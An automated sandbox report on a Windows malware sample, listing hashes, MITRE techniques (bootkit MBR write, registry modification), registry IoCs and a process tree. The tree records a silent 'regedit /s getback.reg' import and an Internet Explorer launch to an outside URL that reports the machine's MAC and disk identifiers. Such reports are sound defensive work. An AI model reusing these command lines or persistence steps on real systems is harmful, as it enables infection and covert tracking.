503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831

General

Target

503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe
Size

16KB
MD5

6b3f9388ad9b5694d76362807ba0a539
SHA1

950f89aa83635460f8d55d3298d486b910076710
SHA256

503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831
SHA512

926db6c6cbf55bdb8124241f255a815f12e0c5474caacb1a03aba06ca39d0d984c8aefc2e00616e9ed7bc26867fa3f75f675e854be0b53d3d18170ea49f5b40b
SSDEEP

384:Mg8BoocpwfdtbjgYuHisEpmxs1eSXbWhAiaNk/rX:MNBvcidtXgYuHisEp84LXyq0

Score

6^/10

bootkit persistence

Malware Config

Signatures

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe

Modifies Internet Explorer settings 1 TTPs 11 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{855E5F77-4417-11ED-B696-D2371B4A40BE} = "0"	iexplore.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ExplorerFlags = "18"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\NoActivateHandler	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec\ = "[]"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic\ = "AppProperties"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\application\ = "Folders"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ifexec	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\topic	regedit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\BrowserFlags = "16"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\command\ = "%SystemRoot%\\Explorer.exe /idlist,%I,%L"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec\ = "[ViewFolder(\"%l\", %I, %S)]"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shell\open\ddeexec	regedit.exe

Runs .reg file with regedit 1 IoCs

pid	Process
2088	regedit.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
472	503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe
472	503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4560	iexplore.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
472	503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe
4560	iexplore.exe
4560	iexplore.exe
2988	IEXPLORE.EXE
2988	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 472 wrote to memory of 4488	472	503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe	82
PID 472 wrote to memory of 4488	472	503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe	82
PID 472 wrote to memory of 4488	472	503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe	82
PID 472 wrote to memory of 4560	472	503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe	84
PID 472 wrote to memory of 4560	472	503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe	84
PID 4488 wrote to memory of 2088	4488	cmd.exe	85
PID 4488 wrote to memory of 2088	4488	cmd.exe	85
PID 4488 wrote to memory of 2088	4488	cmd.exe	85
PID 4560 wrote to memory of 2988	4560	iexplore.exe	86
PID 4560 wrote to memory of 2988	4560	iexplore.exe	86
PID 4560 wrote to memory of 2988	4560	iexplore.exe	86

C:\Users\Admin\AppData\Local\Temp\503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe
"C:\Users\Admin\AppData\Local\Temp\503bf872beb6a32baad39010b9840cd009b0142f6a12c7166b745a4feec25831.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:472
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s "C:\Users\Admin\AppData\Local\Temp\getback.reg"
    3⤵
    - Modifies registry class
    - Runs .reg file with regedit
    PID:2088
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://union.wanwan.cc/Stat.ashx?Mac=D2371B0040BE&Hard=QM00013&ClientType=Home&Process=84&UserID=0003&Authen=766-465
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4560 CREDAT:17410 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Bootkit

1

T1067

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\getback.reg

Filesize
1KB

MD5
626e2d76f5c328d57a3eff6a7f94d129

SHA1
210fd33fa005775b30a8fd40a065a2e788934216

SHA256
5d9ae4b62924d6da9c35305bfd0d61c893767b7113f8b2f239da02057f8bee6e

SHA512
629290bd5791a42327b3b70a68609c6b0b9114365be8579553e01e6cbc98996c0fab475b88c0dd80d34dcc325453401c6cce26fb70ed67a9cb08271a07fd85a1

Download Submit
memory/472-132-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

Download
memory/472-138-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

Download
memory/2088-136-0x0000000000000000-mapping.dmp

Download
memory/4488-135-0x0000000000000000-mapping.dmp

Download

Analysis

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